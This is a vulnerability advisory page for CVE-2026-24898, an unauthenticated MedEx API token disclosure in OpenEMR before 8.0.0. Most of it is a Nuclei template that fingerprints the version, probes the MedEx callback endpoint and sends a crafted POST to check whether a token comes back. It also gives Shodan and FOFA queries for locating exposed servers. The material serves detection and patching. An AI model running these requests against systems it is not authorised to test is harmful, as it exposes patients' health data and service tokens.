CVE-2026-24898: OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure

2026-11-09 PoC Public

Description

OpenEMR < 8.0.0 contains an unauthenticated token disclosure caused by bypassing authentication in the MedEx callback endpoint, letting unauthenticated visitors obtain MedEx API tokens and perform unauthorized actions, exploit requires crafted POST request with callback_key.

Details

CVE
CVE-2026-24898 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-24898

info:
  name: OpenEMR < 8.0.0 - MedEx Callback Unauthenticated Token Disclosure
  author: Securin
  severity: critical
  description: |
    OpenEMR < 8.0.0 contains an unauthenticated token disclosure caused by bypassing authentication in the MedEx callback endpoint, letting unauthenticated visitors obtain MedEx API tokens and perform unauthorized actions, exploit requires crafted POST request with callback_key.
  impact: |
    Unauthenticated attackers can obtain API tokens, leading to third-party service compromise, PHI exfiltration, and HIPAA violations.
  remediation: |
    Upgrade to version 8.0.0 or later.
  reference:
    - https://github.com/openemr/openemr/security/advisories/GHSA-qwff-3mw7-7rc7
    - https://nvd.nist.gov/vuln/detail/CVE-2026-24898
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2026-24898
    epss-score: 0.02422
    epss-percentile: 0.84286
    cwe-id: CWE-200,CWE-306
    cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: open-emr
    product: openemr
    shodan-query: http.title:"OpenEMR"
    fofa-query: title="OpenEMR"
  tags: cve,cve2026,openemr,auth-bypass,unauth,exposure,intrusive

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /composer.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "openemr")'
          - 'compare_versions(version, "< 8.0.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        internal: true
        regex:
          - '"version"\s*:\s*"([0-9]+\.[0-9]+\.[0-9]+)"'

  - raw:
      - |
        GET /library/MedEx/MedEx.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Not logged in:")'
          - '!contains(body, "\"error\"")'
        condition: and
        internal: true

  - raw:
      - |
        POST /library/MedEx/MedEx.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        callback_key={{randstr}}

    matchers-condition: or
    matchers:
      - type: dsl
        name: token-disclosed
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains(body, "\"token\"")'
        condition: and

      - type: dsl
        name: auth-bypass
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("^\\s*false\\s*$", body)'
        condition: and
# digest: 4a0a0047304502201b9792c397b2ace2ef9f418aa55da1669fbaf26c28452ece54f00034bc7415fc0221009745d79722ef0a5d6bcc7a51a3641133b9a6c0cf0ed386e4d0a79c1311378a32:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life